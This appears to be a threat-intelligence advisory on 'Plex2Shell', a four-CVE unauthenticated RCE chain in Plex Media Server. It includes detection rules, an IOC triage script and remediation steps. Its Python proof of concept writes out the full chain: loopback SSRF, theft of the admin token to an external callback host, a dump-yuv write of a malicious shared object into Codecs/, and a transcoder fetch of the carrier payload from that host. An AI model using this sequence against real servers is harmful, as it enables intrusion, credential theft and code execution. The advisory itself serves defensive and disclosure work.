CVE-2026-96656: Plex Media Server 'Plex2Shell' 4-CVE CISA KEV Unauthenticated RCE Chain (/player/timeline SSRF, searchOne Token Theft & Codecs File Write)
Critical four-part unauthenticated Remote Code Execution (RCE) exploit chain ('Plex2Shell') in Plex Media Server versions through 1.43.2 (patched in 1.43.3.10861), added to the CISA Known Exploited Vulnerabilities (KEV) Catalog on October 20, 2026. By chaining an unauthenticated SSRF in /player/timeline via the protocol parameter (CVE-2026-96652), encoded URI parameter injection in the internal searchOne endpoint to steal the server owner's administrative X-Plex-Token (CVE-2026-96654), authenticated SSRF in /video/:/transcode/universal/start (CVE-2026-96655), and arbitrary file write via x264 TranscoderH264Options=dump-yuv into the Plex Codecs/ directory (CVE-2026-96656), unauthenticated remote attackers achieve full code execution over TCP port 32400. Actively exploited in the wild to deploy XMRig ('mylovelyminer') and residential SOCKS5/reverse-proxy botnet nodes ('myawesomeproxy').
HERMES THREAT SCORE & MULTI-PRIMITIVE KEV CHAIN EVALUATION
Target:Plex Media Server HTTP API (/player/timeline, searchOne, /video/:/transcode/universal) & Transcoder x264 Codecs Loader (co-hosted with MCP Media Agents & Edge GPU Nodes) Standalone NVD/CVSS v3.1 scores severely underestimate the operational criticality of this cluster because they evaluate each bug in isolation: CVE-2026-96652 at 5.3 (MEDIUM), CVE-2026-96654 at 6.9 (MEDIUM), CVE-2026-96655 at 5.3 (MEDIUM), and CVE-2026-96656 at 8.6 (HIGH, assuming High Privileges Required PR:H). In practice, the 'Plex2Shell' chain bridges all four primitives automatically, transforming three medium-severity bugs and one admin-gated file write into a zero-click, unauthenticated Remote Code Execution (RCE) exploit over exposed TCP port 32400. Added to the CISA KEV Catalog on October 20, 2026 amid mass internet-wide exploitation by botnet operators deploying XMRig ('mylovelyminer') and proxy relays ('myawesomeproxy'), the Hermes Threat Score elevates this chain to 96 (EXTREME) with a Hermes Agentic Security Score (HASS) of 89 (CRITICAL) due to widespread co-location of Plex Media Server on edge NAS and GPU workstations hosting local LLM runtimes (Ollama, vLLM), autonomous media agents (MoviePilot), and privileged Docker sockets.
CVE-2026-96656: Plex Media ServerVULNERABILITY
Software platform affected by security vulnerabilities and agentic attack patterns.
๐ Why is this related? (Evidence & Provenance)
“Confirmed security vulnerability in Plex Media Server documented in Hermes dossier.”
- [vulnerability_report]
- [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)
Executive Summary
Section titled โExecutive SummaryโOn October 20, 2026, the Cybersecurity and Infrastructure Security Agency (CISA) added four interlocking vulnerabilities in Plex Media Server (versions <= 1.43.2, remediated in 1.43.3.10861) to the Known Exploited Vulnerabilities (KEV) Catalog with a federal remediation deadline of November 10, 2026:
- CVE-2026-96652 (
CWE-918,/player/timelineProtocol-Smuggled SSRF โ CVSS 5.3): The/player/timelineendpoint fails to validate theprotocolquery parameter when constructing outbound player state callbacks toaddressandport, allowing an attacker with any low-privilege or guestX-Plex-Token(or unauthenticated local pivot) to coerce the Plex server into issuing arbitrary HTTP requests to internal loopback endpoints (127.0.0.1:32400). - CVE-2026-96654 (
CWE-116, Encoded URI Scheme Injection insearchOneโ CVSS 6.9): Improper neutralization of encoded URI schemes and query delimiters inside the internalsearchOnemetadata plugin handler allows an attacker pivoting through loopback SSRF to inject arbitrary internal request parameters and exfiltrate the primary server ownerโs administrativeX-Plex-Token. - CVE-2026-96655 (
CWE-918, Authenticated Transcoder/video/:/transcode/universalSSRF โ CVSS 5.3): Armed with the harvested administratorX-Plex-Token, the attacker invokes/video/:/transcode/universal/startwith an attacker-controlled external URL in thepathparameter, forcing the Plex Universal Transcoder to pull a crafted carrier H.264 video stream over HTTP. - CVE-2026-96656 (
CWE-73, External Control of File Name or Path viax264dump-yuvintoCodecs/โ CVSS 8.6): By injecting custom encoder flags (TranscoderH264Options=dump-yuv) and controlling the output path, the attacker forces the underlyingx264encoder to write decoded YUV frame dataโconstructed as a bit-exact copy of a malicious ELF shared object (.so) or Windows.dllโdirectly into the PlexCodecs/directory (.../Plex Media Server/Codecs/), where Plex automatically loads (dlopen()/LoadLibrary()) shared libraries to achieve unauthenticated Remote Code Execution (RCE).
Technical Architecture & 4-Stage โPlex2Shellโ Exploit Dissection
Section titled โTechnical Architecture & 4-Stage โPlex2Shellโ Exploit DissectionโStage 1 โ CVE-2026-96652: Smuggling Loopback Requests via /player/timeline protocol Parameter
Section titled โStage 1 โ CVE-2026-96652: Smuggling Loopback Requests via /player/timeline protocol ParameterโPlex Media Server exposes /player/timeline (and /player/timeline/poll) to synchronize playback progress with remote controller clients. When a client supplies address, port, and protocol parameters alongside a commandID, Plex constructs an outbound HTTP request to "{protocol}://{address}:{port}/player/timeline".
In versions <= 1.43.2, the server failed to restrict protocol to http or https and did not sanitize URL path/query characters injected into protocol:
GET /player/timeline?address=127.0.0.1&port=32400&commandID=1&protocol=http://127.0.0.1:32400/system/agents/searchOne?mediaType=1%26id=1%23 HTTP/1.1Host: target-plex.example.com:32400X-Plex-Token: <low_priv_or_claimed_token>Because connections originating from 127.0.0.1 are implicitly trusted by Plexโs local loopback authentication policy (allowedNetworks / localhost bypass), CVE-2026-96652 gives an external attacker an unauthenticated loopback SSRF primitive targeting 127.0.0.1:32400.
Stage 2 โ CVE-2026-96654: Administrative X-Plex-Token Exfiltration via searchOne URI Injection
Section titled โStage 2 โ CVE-2026-96654: Administrative X-Plex-Token Exfiltration via searchOne URI InjectionโWhile loopback requests bypass basic authentication on many internal routes, administrative actions require the server ownerโs primary X-Plex-Token. Under CVE-2026-96654 (CWE-116), the legacy Python/C++ metadata agent bridge endpoint (searchOne) accepts URI parameters and forwards them to internal plex:// or http://127.0.0.1:32400/ plugin handlers while automatically appending the server ownerโs privileged X-Plex-Token header/query parameter.
Because searchOne fails to neutralize double-encoded or URI-scheme-embedded delimiters, an attacker can redirect the internal plugin fetch to an attacker-controlled listener (or reflect the token into an accessible metadata field), capturing the full administrative X-Plex-Token.
Stage 3 & Stage 4 โ CVE-2026-96655 & CVE-2026-96656: Universal Transcoder SSRF to Bit-Exact x264 dump-yuv Shared Object Write in Codecs/
Section titled โStage 3 & Stage 4 โ CVE-2026-96655 & CVE-2026-96656: Universal Transcoder SSRF to Bit-Exact x264 dump-yuv Shared Object Write in Codecs/โWith the administrative X-Plex-Token in hand, the attacker chains CVE-2026-96655 and CVE-2026-96656 to turn Plexโs media transcoding pipeline into an arbitrary binary file writer and native code loader:
- Authenticated Transcoder SSRF (
CVE-2026-96655): The/video/:/transcode/universal/start(or/decision) endpoint accepts apathparameter specifying the media item to transcode. Instead of restrictingpathto local library metadata keys (/library/metadata/...), Plex<= 1.43.2allows arbitrary remote HTTP URLs (http://attacker.example/carrier_payload.mkv), instructing thePlex Transcoderprocess to fetch and decode an attacker-supplied video file. - Bit-Exact Binary Reconstruction via
TranscoderH264Options=dump-yuv(CVE-2026-96656): Plex allows administrative callers (or modified preference settings via/:/prefs) to pass customx264encoder options viaTranscoderH264Options(orTranscoderH264OptionsOverride). Thex264encoder supports a diagnostic option,dump-yuv=<filename>, which writes raw uncompressed YUV420p decoded frames directly to<filename>on disk without any container headers. - Polyglot Frame-to-ELF Encoding: By pre-encoding a compiled Linux ELF shared library (
.so, e.g.,libhevc_decoder.soorlibh264_decoder.sowith an__attribute__((constructor))payload) as lossless raw YUV frame bytes inside a single-frame carrier video and settingdump-yuvto point inside.../Plex Media Server/Codecs/<codec-build-id>/, the transcoder writes a bit-exact ELF shared object directly into theCodecs/directory. When a subsequent transcode request triggers dynamic codec loading (dlopen()), the attackerโs constructor executes immediately as theplexOS user.
flowchart TD Attacker["Unauthenticated Remote Attacker<br/>(TCP Port 32400)"]
subgraph Stage12["Stage 1 & 2: Loopback SSRF & Admin Token Theft"] CVE652["CVE-2026-96652 (CWE-918)<br/>/player/timeline Unvalidated 'protocol' Parameter<br/>Loopback SSRF to 127.0.0.1:32400"] CVE654["CVE-2026-96654 (CWE-116)<br/>searchOne Encoded URI Scheme Injection<br/>Leaks Owner Admin X-Plex-Token"] end
subgraph Stage34["Stage 3 & 4: Transcoder SSRF & Bit-Exact Codecs/ Write"] CVE655["CVE-2026-96655 (CWE-918)<br/>/video/:/transcode/universal/start<br/>Fetches Attacker Lossless YUV Carrier Video via 'path'"] CVE656["CVE-2026-96656 (CWE-73)<br/>x264 TranscoderH264Options=dump-yuv<br/>Writes Bit-Exact ELF .so / PE .dll into Codecs/"] end
subgraph Execution["Post-Exploitation & Edge Lateral Movement"] Dlopen["Automatic dlopen() / LoadLibrary()<br/>Native RCE as 'plex' User"] Botnet["In-the-Wild Payloads:<br/>mylovelyminer (XMRig) & myawesomeproxy<br/>+ Co-Hosted Docker / Ollama / MCP Pivot"] end
Attacker -- "1. Crafted protocol= URL" --> CVE652 CVE652 -- "2. Loopback Trust Bypass" --> CVE654 CVE654 -- "3. Admin X-Plex-Token" --> CVE655 CVE655 -- "4. Carrier Video Stream" --> CVE656 CVE656 --> Dlopen Dlopen --> Botnet
style CVE652 fill:#ff6600,stroke:#993300,color:#ffffff style CVE654 fill:#ff6600,stroke:#993300,color:#ffffff style CVE655 fill:#ff4d4d,stroke:#990000,color:#ffffff style CVE656 fill:#ff1a1a,stroke:#800000,color:#ffffffProof-of-Concept Mechanics & Verification Flow
Section titled โProof-of-Concept Mechanics & Verification FlowโThe following educational Python snippet illustrates the 4-stage HTTP sequence used by Plex2Shell (CVE-2026-96652 $\rightarrow$ CVE-2026-96654 $\rightarrow$ CVE-2026-96655 $\rightarrow$ CVE-2026-96656) so defenders can validate WAF rules and SIEM detections:
#!/usr/bin/env python3"""Forensic Verification Flow: Plex2Shell 4-CVE Chain (CVE-2026-96652..96656)For defensive detection engineering and patch verification only (Requires >= 1.43.3.10861 to block)."""import urllib.parseimport requests
TARGET_PLEX = "http://plex-media.internal:32400"CALLBACK_HOST = "http://198.51.100.42:8080"
# Stage 1 & 2 (CVE-2026-96652 + CVE-2026-96654):# Abuse /player/timeline 'protocol' SSRF to reach internal searchOne with encoded URI delimitersinner_uri = f"http://127.0.0.1:32400/system/agents/searchOne?mediaType=1&id=1&url={urllib.parse.quote(CALLBACK_HOST + '/leak')}#"stage1_params = { "address": "127.0.0.1", "port": "32400", "commandID": "1", "protocol": inner_uri,}print("[*] Probing Stage 1/2 (/player/timeline protocol SSRF -> searchOne)...")r1 = requests.get(f"{TARGET_PLEX}/player/timeline", params=stage1_params, timeout=5)print(" Status:", r1.status_code)
# Stage 3 & 4 (CVE-2026-96655 + CVE-2026-96656):# Using stolen Admin X-Plex-Token, set x264 dump-yuv pointing to Codecs/ and trigger universal transcode SSRFADMIN_TOKEN = "STOLEN_ADMIN_X_PLEX_TOKEN"codec_target = "../Codecs/EasyAudioEncoder-1978-linux-x86_64/libmalicious.so"
prefs_resp = requests.put( f"{TARGET_PLEX}/:/prefs", params={ "TranscoderH264Options": f"dump-yuv={codec_target}", "X-Plex-Token": ADMIN_TOKEN, }, timeout=5,)
transcode_resp = requests.get( f"{TARGET_PLEX}/video/:/transcode/universal/start.m3u8", params={ "path": f"{CALLBACK_HOST}/carrier_elf_yuv.mkv", "mediaIndex": "0", "partIndex": "0", "protocol": "hls", "X-Plex-Token": ADMIN_TOKEN, }, timeout=5,)print("[*] Stage 3/4 Transcode SSRF + dump-yuv status:", transcode_resp.status_code)Forensic Analysis & Detection Engineering
Section titled โForensic Analysis & Detection EngineeringโIn-the-wild Plex2Shell intrusions leave distinct forensic artifacts in Plex Media Server.log, Preferences.xml (where TranscoderH264Options may remain set to dump-yuv=...), and the Codecs/ directory (mylovelyminer, myawesomeproxy, or rogue .so/.dll files). Also compare this media-server compromise chain with CVE-2026-108804 (MoviePilot Autonomous AI Media Agent ExecuteCommandTool RCE), as MoviePilot and Plex Media Server are routinely deployed side-by-side on the same NAS/Docker host.
title: Plex Media Server Plex2Shell 4-CVE RCE Chain Exploitation (CVE-2026-96652 / CVE-2026-96654 / CVE-2026-96655 / CVE-2026-96656)id: 96656a10-2026-4c8e-9b12-plex2shell01status: experimentaldescription: Detects exploitation of the CISA KEV Plex2Shell chain in Plex Media Server (<= 1.43.2), including /player/timeline protocol SSRF, searchOne URI injection, /video/:/transcode/universal external path SSRF, and x264 dump-yuv Codecs file writes.references: - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2026-96656 - https://nvd.nist.gov/vuln/detail/CVE-2026-96656author: Hermes Threat Intelligencedate: 2026/10/21logsource: category: webserverdetection: selection_timeline_ssrf: cs-uri-stem|contains: '/player/timeline' cs-uri-query|contains: - 'protocol=http' - 'protocol=https' - 'searchOne' - '127.0.0.1' selection_dump_yuv: cs-uri-query|contains: - 'TranscoderH264Options' - 'dump-yuv' - 'Codecs' selection_transcode_ssrf: cs-uri-stem|contains: '/video/:/transcode/universal' cs-uri-query|re: 'path=https?(%3A|:)' condition: selection_timeline_ssrf or selection_dump_yuv or selection_transcode_ssrffalsepositives: - None expected for dump-yuv or protocol=http:// injection on /player/timelinelevel: criticaltags: - attack.initial_access - attack.execution - attack.persistence - attack.t1190 - attack.t1574.001 - cve.2026-96652 - cve.2026-96654 - cve.2026-96655 - cve.2026-96656(index=web OR index=media_servers OR sourcetype="plex:mediaserver:log")("player/timeline" OR "searchOne" OR "TranscoderH264Options" OR "dump-yuv" OR "/video/:/transcode/universal" OR "mylovelyminer" OR "myawesomeproxy")| eval plex2shell_stage=case( match(_raw, "(?i)TranscoderH264Options.*dump-yuv"), "Stage4_CVE-2026-96656_Codecs_DumpYUV_Write", match(_raw, "(?i)/video/:/transcode/universal.*path=https?(%3A|:)"), "Stage3_CVE-2026-96655_Transcoder_SSRF", match(_raw, "(?i)searchOne"), "Stage2_CVE-2026-96654_SearchOne_Token_Theft", match(_raw, "(?i)/player/timeline.*protocol=https?(%3A|:)"), "Stage1_CVE-2026-96652_Timeline_Protocol_SSRF", match(_raw, "(?i)(mylovelyminer|myawesomeproxy)"), "PostExploit_Botnet_Or_Miner_Implant", 1==1, "Other")| where plex2shell_stage != "Other"| stats count, earliest(_time) as first_seen, latest(_time) as last_seen, values(plex2shell_stage) as observed_stages, values(src_ip) as attacker_ips by host| sort - count#!/usr/bin/env bash# Hermes Forensic Triage & IOC Scanner for Plex2Shell (CVE-2026-96652..96656)set -euo pipefail
PLEX_DIR="${1:-/var/lib/plexmediaserver/Library/Application Support/Plex Media Server}"echo "[*] 1. Checking Preferences.xml for malicious TranscoderH264Options / dump-yuv tampering..."if [ -f "${PLEX_DIR}/Preferences.xml" ]; then grep -E -i "TranscoderH264Options|dump-yuv" "${PLEX_DIR}/Preferences.xml" || echo " [OK] No dump-yuv preference found."fi
echo "[*] 2. Auditing Plex Codecs/ directory for unsigned or non-ELF-header / recently modified shared objects..."if [ -d "${PLEX_DIR}/Codecs" ]; then find "${PLEX_DIR}/Codecs" -type f \( -name "*.so" -o -name "*.dll" \) -mtime -30 -lsfi
echo "[*] 3. Checking running processes for known Plex2Shell payloads (mylovelyminer / myawesomeproxy / xmrig)..."ps aux | grep -E -i "mylovelyminer|myawesomeproxy|xmrig|Plex Transcoder.*dump-yuv" | grep -v grep || echo " [OK] No suspicious child processes detected."
echo "[*] 4. Scanning Plex Media Server logs for /player/timeline protocol SSRF & searchOne hits..."grep -E -i "player/timeline.*protocol=http|searchOne|dump-yuv" "${PLEX_DIR}/Logs/"*.log 2>/dev/null | tail -n 30 || trueRemediation & Hardening Directives
Section titled โRemediation & Hardening Directivesโ- Immediately Upgrade Plex Media Server to
>= 1.43.3.10861(CISA KEV Mandate): Update all Linux, Windows, macOS, Docker (plexinc/pms-docker), and NAS (Synology, QNAP, TrueNAS, Unraid) installations of Plex Media Server to version1.43.3.10861or later. Version1.43.3.10861enforces stricthttp/httpsenum validation on/player/timeline(CVE-2026-96652), sanitizes URI parameters insearchOne(CVE-2026-96654), restricts transcodepathsources (CVE-2026-96655), and blocks dangerousx264file-writing options such asdump-yuv(CVE-2026-96656). - Purge
Codecs/, InspectPreferences.xml, and RotateX-Plex-TokenCredentials: If a server running<= 1.43.2was reachable from the internet on TCP port32400, assume potential compromise and:- Inspect
Preferences.xmland remove anyTranscoderH264Optionsattribute. - Delete the entire
Plex Media Server/Codecs/directory (Plex will cleanly re-download verified official codecs upon restart) and mount transient working directories withnoexecwhere feasible. - Rotate the server ownerโs Plex account password (selecting โSign out connected devices after password changeโ) to invalidate any
PlexOnlineToken/X-Plex-Tokenexfiltrated viaCVE-2026-96654.
- Inspect
- Disable Direct WAN Port Forwarding of TCP
32400& Isolate Co-Hosted AI/Docker Stacks: Place Plex behind an authenticated reverse proxy or zero-trust overlay network (Tailscale / WireGuard), block external requests to/player/timeline,/system/agents/*, and/:/prefs, and ensure theplexuser or container has no access to/var/run/docker.sockor co-hosted local LLM / MCP endpoints.